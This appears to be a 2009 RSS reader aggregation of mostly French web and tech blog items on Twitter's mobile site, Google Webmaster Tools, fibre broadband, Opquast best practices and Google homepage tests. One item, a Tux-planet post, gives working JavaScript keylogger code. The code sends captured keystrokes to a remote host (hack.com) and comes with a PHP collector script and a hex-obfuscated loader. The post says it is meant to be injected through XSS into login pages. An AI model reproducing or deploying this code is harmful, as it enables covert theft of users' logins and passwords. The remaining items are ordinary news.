"web" via neolao in Google Reader

Twitter - Nouvelle version mobile du site

2009-12-04T04:54:00Z

Les développeurs chez Twitter travaillent sur une nouvelle version mobile du site, une version plus d'actualité, ou l'on retrouvera les fonctionnalités que l'on connait sur le site Web.

L'adresse pour se rendre sur cette version mobile est : http://mobile.twitter.com alors que la version mobile actuelle fonctionne toujours à l'adresse : m.twitter.com

Ci dessous d'autres screen de cette version mobile de Twitter

Ce que je trouve le plus bizarre finalement, c'est que Twitter ne propose pas une version mobile ou des applications mobiles capable de rivaliser avec celle que nous connaissons sur les différents mobiles que nous utilisons.

update : Suite au commentaire de Frenchbigdog, il y a une petite précision à apporter, cette version mobile de Twitter fonctionne sous les navigateurs Webkit

ça viendra peut être un jour

via Mashable

Article original écrit par Philippe LAGANE et publié sur AccessOWeb

Your site's performance in Webmaster Tools

2009-12-04T22:26:00Z

Webmaster level: Intermediate

Let's take a quick look at the individual sections in the Google Webmaster Tools' Site Performance feature:

Performance overview

The performance overview shows a graph of the aggregated speed numbers for the website, based on the pages that were most frequently accessed by visitors who use the Google Toolbar with the PageRank feature activated. By using data from Google Toolbar users, you don't have to worry about us testing your site from a location that your users do not use. For example, if your site is in Germany and all your users are in Germany, the chart will reflect the load time as seen in Germany. Similarly, if your users mostly use dial-up connections (or high-speed broadband), that would be reflected in these numbers as well. If only a few visitors of your site use the Google Toolbar, we may not be able to show this data in Webmaster Tools.

The line between the red and the green sections on the chart is the 20th percentile — only 20% of the sites we check are faster than this. This website is pretty close to the 20% mark, which pages would we have to work on first?

Example pages with load times

In this section you can find some example pages along with the average, aggregated load times that users observed while they were on your website. These numbers may differ from what you see as they can come from a variety of different browsers, internet connections and locations. This list can help you to recognize pages which take longer than average to load — pages that slow your users down.

As the page load times are based on actual accesses made by your users, it's possible that it includes pages which are disallowed from crawling. While Googlebot will not be able to crawl disallowed pages, they may be a significant part of your site's user experience.

Keep in mind that you may see occasional spikes here, so it's recommended that you watch the load times over a short period to see what's stable. If you consistently see very large load times, that probably means that most of your users are seeing very slow page loads (whether due to slow connections or otherwise), so it's something you should take seriously.

Page Speed suggestions

These suggestions are based on the Page Speed Firefox / Firebug plugin. In order to find the details for these sample URLs, we fetch the page and all its embedded resources with Googlebot. If we are not able to fetch all of embedded content with Googlebot, we may not be able to provide a complete analysis. Similarly, if the servers return slightly modified content for Googlebot than they would for normal users, this may affect what is shown here. For example, some servers return uncompressed content for Googlebot, similar to what would be served to older browsers that do not support gzip-compressed embedded content (this is currently the case for Google Analytics' "ga.js").

When looking at flagged issues regarding common third-party code such as website analytics scripts, one factor that can also play a role is how wide-spread these scripts are on the web. If they are common across the web, chances are that the average user's browser will have already cached the DNS lookup and the content of the script. While these scripts will still be flagged as separate DNS lookups, in practice they might not play a strong role in the actual load time.

We offer these suggestions as a useful guideline regarding possible first performance improvement steps and recommend using the Page Speed plugin (or a similar tool) directly when working on your website. This allows you to better recognize the blocking issues and makes it easy to see how modifications on the server affect the total load time.

For questions about Webmaster Tools and this new feature, feel free to read the Help Center article, search and post in the Webmaster Help Forums or in the Page Speed discussion group. We hope this information helps you make your website even faster!

Posted by John Mueller, Webmaster Trends Analyst, Google Zürich

Un euro par abonnement Internet pour aider la filière musicale ?

2009-12-04T17:50:00Z

La Sacem et l'Adami réitèrent leur demande que les FAI contribuent au secteur de la musique en France, pour compenser le manque à gagner lié au téléchargement illégal.

Les 10 mots de passe à ne surtout jamais employer

2009-12-04T16:12:02Z

Microsoft vient de publier les premiers résultats de son projet d'honeypot, un faux serveur FTP ciblé par des attaques Web dont le but est de casser le mot de passe d'accès au serveur. Premier mot de passe à éviter ou changer d'urgence : password.

Free lance son offre FTTH à Valenciennes.

2009-12-04T16:46:16Z

La fibre optique par Free est officiellement lancée commercialement à Valenciennes.
Jusqu'à ce jour, seules quelques zones comme certains quartiers de Paris faisaient l'objet de tests chez quelques clients, mais pour Valenciennes, c'est une réelle offre commerciale qui est proposée.
Pourquoi Valenciennes ? Car la mairie de la ville a énormément collaborée au déploiement de la fibre.
Les abonnés ADSL actuellement chez Free, se verront automatiquement recevoir une Freebox Optique afin de s'adapter à leur migration vers le nouveau raccordement en fibre optique. Quand aux nouveaux abonnés, leur abonnement se fera en fibre optique automatiquement. Attention, toutes les habitations ne sont pas encore fibrées évidemment. Une campagne d'information sera prochainement déployée pour avertir les personnes concernées.

Grâce à ce nouveau réseau, les abonnés éligibles à l’offre FTTH de Free bénéficient pour 29,99 euros/mois d’une offre comprenant :

Un accès Internet à Très Haut Débit illimité de 100 Mbit/s en réception et 50 Mbit/s en émission.
Un accès au plus grand réseau communautaire Wifi nomade avec 3 millions de hotspots.
Des services de téléphonie incluant la ligne téléphonique, son abonnement et les appels illimités vers les postes fixes de 100 destinations dont la France métropolitaine.
Des services audiovisuels pour 2 télévisions.

Lire le communiqué de presse

Google lance son propre service DNS

2009-12-04T06:12:03Z

Affirmant oeuvrer pour un Internet plus rapide et plus sûr, Google a lancé hier Google Public DNS, son propre service de résolution des noms de domaine. Le système est encore en phase expérimentale mais ouvert au public.

Une presque nouvelle page pour Google

2009-12-03T10:45:30Z

Tiens, je ne sais pas si vous avez remarqué mais depuis ce matin, vous avez droit à une nouvelle page d’accueil pour le célèbre moteur de recherche. D’ailleurs, on pourrait qualifier cette nouvelle page de “Retour au minimalisme” … Mais que pendant quelques secondes puisque dès que vous bougerez la souris, le reste de la page s’affichera dans un zoli effet de fondu

Oui, bon, ça n’apporte pas grand chose en fait et ça ne marche pas toujours pour moi mais pourquoi pas, hein ? Et si vraiment vous voulez en savoir plus et connaître le pourquoi du comment, c’est par ICI.

Opquast V2 : point à date

2009-12-03T08:25:00Z

Voici quelques informations sur le travail en cours sur la deuxième version des bonnes pratiques Opquast. Le travail sur les bonnes pratiques a commencé il y a un mois. 36 contributeurs ont laissé plus de 2500 commentaires.

Les bonnes pratiques sont maintenant ventilées sur quatre sections :

Candidates : ce sont les bonnes pratiques qui ont le plus de chances de faire partie du corpus principal. Nous avons 234 bonnes pratiques candidates;
Propositions : ce sont les bonnes pratiques que le contributeurs ajoutent au jour le jour ;
Recommandations : ce sont les bonnes pratiques intéressantes, mais non vérifiables par un utilisateur extérieur, ou à valeur ajoutée insuffisante. Elles seront données à titre indicatif, à moins que les contributeurs n'aient des propositions de reformulation valables ;
Refusées : ce sont les bonnes pratiques qui ne sont valables que dans certains cas très précis, ou même très fortement sujettes à discussion.

Normalement, nous avions prévu de lancer l'appel à commentaires public au 30 novembre, mais entre les missions en cours et la production de la nouvelle version du service en ligne mon-opquast, nous sommes sous l'eau et n'avons pas encore le temps de nous occuper de la plate-forme d'appel à commentaires. Voilà, il faudra attendre un petit peu.

Pour vous faire patienter, voici un petit échantillon de ving-cinq nouveautés, choisies parmi les bonnes pratiques candidates, et présentées dans le désordre. Comme d'habitude, chaque mot a été soigneusement choisi et pesé :

Le code source de chaque page contient une metadonnée qui en décrit le contenu ;
Le site propose un fichier sitemap indiquant les contenus à explorer ;
Les captchas sont dotés d'une solution d'accès alternative ;
Les contenus publicitaires ou sponsorisés sont identifiés comme tels ;
En l'absence de fil de syndication, le site fournit aux utilisateurs la possibilité de connaître les nouveaux contenus ou services ;
L'interlettrage n'est réalisé que via les styles CSS ;
Le texte des documents PDF internes est sélectionnable ;
Les animations éventuelles en page d'accueil peuvent être contournées, arrêtées ou fermées ;
Les processus complexes sont accompagnés de la liste de leurs étapes ;
L'étape en cours d'une succession d'étapes est indiquée ;
La page affichée après l'envoi d'un formulaire permet de reprendre directement la navigation ;
Le focus clavier n'est ni supprimé ni masqué ;
La navigation sur le site ne provoque pas l'ouverture de fenêtres surgissantes ("popups")
Les liens provoquant l'ouverture d'un logiciel externe ont un libellé explicite.
Les mots de passe peuvent être choisis ou changés par l'utilisateur
Un dispositif sensibilise l'utilisateur sur le degré de sécurisation du mot de passe qu'il choisit
Le site propose une procédure de réinitialisation du mot de passe en cas de perte ou d'oubli ;
Le serveur transmet uniquement des contenus compressés aux clients qui les acceptent ;
Les produits indisponibles font l'objet d'une différenciation visuelle et textuelle ;
Les éléments audio et/ou vidéo sont déclenchés par l'utilisateur ;
La consultation du site ne redimensionne pas la fenêtre du navigateur ;
Les comptes ou abonnements ouverts en ligne peuvent être fermés par le même moyen ;
Les phrases ou ensemble de mots mis en images ne sont pas morcellés en plusieurs images ;
La durée des contenus vidéo ou audio est indiquée ;
Les styles ne sont pas utilisés pour générer du contenu.

Si vous faites partie des inscrits à l'atelier W3 café que nous animons ce soir avec Fabrice Bonny à Paris, nous vous donnons rendez-vous pour une bonne séance de présentation et de travail sur les bonnes pratiques. Si vous n'êtes pas encore inscrit, pas la peine d'essayer, l'atelier est complet depuis un bon moment.

Accès Internet : vers une tarification au débit disponible ?

2009-12-02T19:12:00Z

J'ai récemment repris dans ce blog l'idée de l'accès Internet facturé proportionnellement au débit. Aujourd'hui, des députés ont fait adopter un amendement au projet de loi relatif à la lutte contre la fracture numérique pour explorer cette piste !

Le ministre de l'Education souhaite introduire l'informatique et le numérique au lycée

2009-12-02T11:12:01Z

La réforme du lycée portée par le ministre de l'éducation nationale Luc Chatel prévoit d'introduire une nouvelle matière, optionnelle, dans le cursus des lycéens en terminale S : l'informatique et les sciences du numérique.Ainsi, en 2010, les lycéens en série S auront la possibilité de suivre deux heures chaque semaine de ce nouvel enseignement, dont le programme reste toutefois encore à préciser.

La chute des ventes de serveurs ralentit au 3e trimestre

2009-12-02T10:12:02Z

Sur un an, le repli du marché atteint 17% mais sur un trimestre, les ventes sont en hausse. L'oracle Gartner parle donc de stabilisation.

Faites votre propre site d’app iPhone.

2009-12-02T11:30:48Z

“Un bon site permet de vendre n’importe quoi” – Napoléon Bonaparte

Le WebDesignWall révèle 5 secrets, qui d’après eux, permettent de faire un site tellement joli que les visiteurs se sentiront obligés de télécharger l’application:

Avoir un site qui tienne en une page.
Afficher un iPhone comme élément principal (avec ombre portée ou reflet).
Utiliser des animations sur l’écran de l’iPhone (ou au moins un diaporama).
Placer un badge App Store quelque part.
Mettre le prix en évidence.

Fort de ces enseignements, voici ci dessous une capture de ce que serait le site fait par le JDM pour notre app révolutionnaire à laquelle nous n’avons pas encore réfléchi.

Et vous trouverez dans la suite une galerie de VRAIS sites web usant (et abusant) de ces règles tacites du webdesign.

Via CultofMac

Make an Editable/Printable HTML Invoice

2009-12-01T13:56:48Z

I always like how in FreshBooks to edit invoices you literally just click and interact directly with a web page that looks like an invoice. I got to thinking it would be a kinda cool idea to create an editable HTML invoice of my own. This of course can’t do nearly all the awesome stuff FreshBooks can do, but it might be useful to some of you with extremely lightweight invoicing needs.

View Demo Download Files

A bunch of <textarea>s

You can pre-set values of textarea elements in HTML just by putting text in between the opening and closing tag. So all it takes to make editable elements on a web page is use textareas. There are a additional bonuses to using textareas. For one, they are real form elements, so you could theoretically wrap this thing in form tag, put a submit button on it, and write some PHP to process it and do other stuff with it. For another, browsers tend to save the values of form elements. So if you, say, accidentally refreshed the page while working on it, the values you changed so far would be fine.

Why the heck would you do this with HTML and not with regular desktop software that is built for this kind of thing?

Good point, voice in my head. Well for one thing, this requires zero software other than your browser. If you put this up on a secret place on your website, you could theoretically access it from any computer in the world with internet access and a printer and spit out an invoice.

It’s pretty trivial to print to PDF these days, so ultimately while you are printing it, you could alternatively save to PDF which gives you a real document for emailing or archiving or whatever. It’s just a little hard to edit after the fact.

Clean Prints

If you want to get a totally clean print of this thing, check out thise print options from Firefox:

Basically, turn off all the header/footer stuff and turn on the background color printing.

Hey ya’ll, quick reminder here: I wrote a book! It’s called Digging Into WordPress and you can get it here.

Les mots de passe des blogs Wordpress menacés par des attaques brute force

2009-12-01T10:12:02Z

Le SANS Institute, un organisme de veille en sécurité, a publié sur son site Internet une alerte relative à un script automatisant les attaques de type brute force contre les blogs Wordpress.Ces attaques distribuées en force brute visent à casser les mots de passe d'authentification des comptes administrateurs des blogs sous WordPress.

Un keylogger en Javascript

2009-12-01T07:00:53Z

Un keylogger est un petit programme malicieux qui enregistre, dans un fichier, tout ce qui est saisi au clavier par un utilisateur. Une personne malveillante peut ensuite y retrouver les divers logins et mots de passe de votre ordinateur. Cet article explique comment mettre en place un keylogger écrit en JavaScript.

L'intérêt de l'utilisation du langage JavaScript ici est multiple. Ainsi, si l'on découvre une faille de sécurité dans un site internet (faille XSS ou autres), il sera assez facile d'y injecter le bout de code sur une page de login par exemple.

Un hacker pourra ainsi collecter l'ensemble des logins/passwords des utilisateurs à leur insu. Des cas de ce type ont déjà été découverts pour des sites comme Facebook.

Un keylogger en Javascript

Voici un exemple de keylogger écrit en JavaScript :

<script language="javascript">
var keys='';
document.onkeypress = function(e) {
  get = window.event?event:e;
  key = get.keyCode?get.keyCode:get.charCode;
  key = String.fromCharCode(key);
  keys+=key;
}
window.setInterval(function(){
  new Image().src = 'http://hack.com/keylogger.php?c='+keys;
  keys = '';
}, 1000);
</script>

Ici, le programme enregistre tout ce qui est saisi au clavier (fonction onkeypress) dans une variable temporaire appelée key. A côté de cela, la fonction setInterval attend une seconde avant de transférer les données vers un serveur distant.

Sur le serveur distant, on trouvera un script similaire à celui-ci, qui aura pour fonction la réception des données envoyées par le keylogger :

<?php
if(!empty($_GET['c'])) {
  $f=fopen("log.txt","a+");
  fwrite($f,$_GET['c']);
  fclose($f);
}
?>

Dissimulation du keylogger

Le meilleur moyen pour dissimuler le code JavaScript malveillant consistera, dans un premier temps, à appeler un fichier distant :

<script language="javascript" src="http://hack.com/javascript.js"></script>

On pourra aller encore plus loin avec une conversion ASCII vers Hexadécimale du code JavaScript :

<script language='javascript'>document.write(unescape('3c%73%63%72%69%70%74%20%6c%61%6e%67%75%61%67%65%3d%22%6a%61%76%61%73%63%72%69%70%74%22%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%68%61%63%6b%2e%63%6f%6d%2f%6a%61%76%61%73%63%72%69%70%74%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e'))</script>

Article original écrit par Sébastien Bilbeau et publié sur Tux-planet | Linux | ©Copyright - 2005 Toutes reproduction interdites. | Commentaires : 10

Utiliser le menu de Chrome OS

2009-11-29T22:13:40Z

Nous avons vu, il y a quelques jours, que Google Chrome OS n'est en fait qu'un simple navigateur web propulsé par un Linux allégé. Si vous souhaitez retrouver la même interface applicative tout en gardant votre système d'exploitation favori, voici une petite astuce pour y arriver.

Pour cela, il suffit simplement de lancer le navigateur Google Chrome ou Chromium et d'utiliser l'adresse suivante en page d'accueil :

http://welcome-cros.appspot.com/menu

Si vous utilisez une version supérieure ou égale à la 4.0, vous pouvez aussi réduire la taille de l'onglet avec un clic droit dessus puis en sélectionnant "Pin Tab".

Via Tuxtweaks

Jusqu’où peut-on aller dans la recherche de l’épuration ?

2009-11-29T21:04:50Z

Une des règles de base de l’utilisabilité est de toujours veiller à ne pas surcharger un écran, ou plutôt de s’efforcer de supprimer tout ce qui n’est pas indispensable et qui peut distraire l’attention. Noble cause, mais qui peut parfois se révéler être une vrai profession de foie.

Illustration avec cette page d’accueil expérimentale pour Google :

La page d'accueil expérimentale de Google

Donc comme vous pouvez le constater, sur cette page il n’y a plus rien si ce n’est le logo et le champ de saisie, même pas un bouton pour lancer la recherche : Google’s Experimental Homepage Fades To A Single Word. L’astuce est de ne faire apparaitre le reste qu’après quelques secondes pour être sûr de bien concentrer l’attention sur l’élément le plus important : le champ.

Plutôt extrême comme expérimentation, d’autant plus que la page d’accueil de Google n’était pas la plus chargée. L’expérimentation se poursuit visiblement avec des variantes comme par exemple une version où est mentionnée la phrase “This space intentionally left blank” : Google Tests a Clutter-Free Homepage.

Dans le même genre il y a aussi Goosh, une interface textuelle façon Unix :

L'interface textuelle de Goosh

Un bel exemple d’épuration graphique qui va plus loin que YubNub mais qui aurait gagné à être encore plus épuré.

Toujours dans la série interfaces façon lignes de commande, je vous propose WriteRoom, un traitement de texte au look & fell très “roots“ :

L'interface très épurée de WriteRoom

La particularité de ce logiciel est de proposer un mode plein écran qui isole complètement l’utilisateur du système et donc de ses distractions potentielles. Bon par contre c’est un peu austère…

Terminons avec le remarquable Ommwriter, un traitement de texte qui propose la même approche mais nettement plus raffinée avec un fond d’écran très reposant et différentes ambiances sonores :

L'interface épurée et immersive d'Ommwriter

Le sentiment d’immersion est tout à fait remarquable et les fonctions ne sont jamais très loin puisqu’en bougeant la souris vous faite apparaitre une série d’icônes :

L'accès aux commandes avec Ommwriter

Autant je suis très sceptique vis à vis de WriteRoom, autant l’expérience utilisateur de ce Ommwriter est tout à fait convaincante car extrêmement aboutie : Ommwriter, écrire en toute sérénité. Notez qu’il existe des applications spécialement dédiées pour isoler l’application ouverte comme Think ou Backdrop.

Plein de bonnes idées / intentions… mais qu’il n’est pas forcément bon d’utiliser pour un site web. Je fais notamment référence à ces insupportables sites qui s’ouvrent dans une pop-up qui force l’affichage en plein écran, une horreur pour ceux qui utilisent des écrans à grandes résolution (HD ou Full HD). Bref, jusqu’où peut-on aller dans la recherche de l’épuration ? (d’où le titre du billet)

MàJ (30/11/2009) > Voici une méthode pour tester une autre version de la page de recherche de Google : Check the Redesigned Google (With Always-Visible Sidebar) Yourself.

Encore une autre version de la page expérimentale de Google

Vous noterez le travail fait sur les boutons et les liens en bas de page.

AccessiBlogue : Accessibilité et CRTC 2009-430 : des précisions sur les obligations

2009-11-27T19:50:45Z

Le 8 octobre dernier, je vous faisais part de la Politique réglementaire CRTC 2009-430 du Conseil de la radiodiffusion et des télécommunications canadiennes (CRTC) qui amène celle-ci à prendre position dans le dossier de l'accessibilité du Web pour les personnes handicapées. Par l'adoption de cette politique, le CRTC impose un code de conduite aux fournisseurs de services de télécommunication afin de les obliger à assurer aux citoyennes et citoyens du Canada un accès à des contenus informationnels (...)

Frédéric Lefebvre, 48 heures sur Twitter, et déjà suspendu

2009-11-27T10:11:02Z

Mercredi, Frédéric Lefebvre créait un compte sur Twitter. Le lendemain vers 20 heures, le compte était suspendu. Pour le porte-parole de l'UMP cela s'explique par la trop grande popularité de sa page Twitter.

L'avenir de Wikipédia menacé ?

2009-11-27T05:00:00Z

Tout le monde sait que l'encyclopédie gratuite Wikipédia est un des sites les plus regardés sur la planète (le cinquième en fait). On sait également que Wikipédia existe grâce à des contributeurs bénévoles pour la création et la vérification des entrées. Des craintes s'accumulent à présent, car des milliers de ces volontaires sont en train d'abandonner le site. Une étude universitaire espagnol ... http://www.sur-la-toile.com/article-7701-L-avenir-de-Wikipedia-menace-.html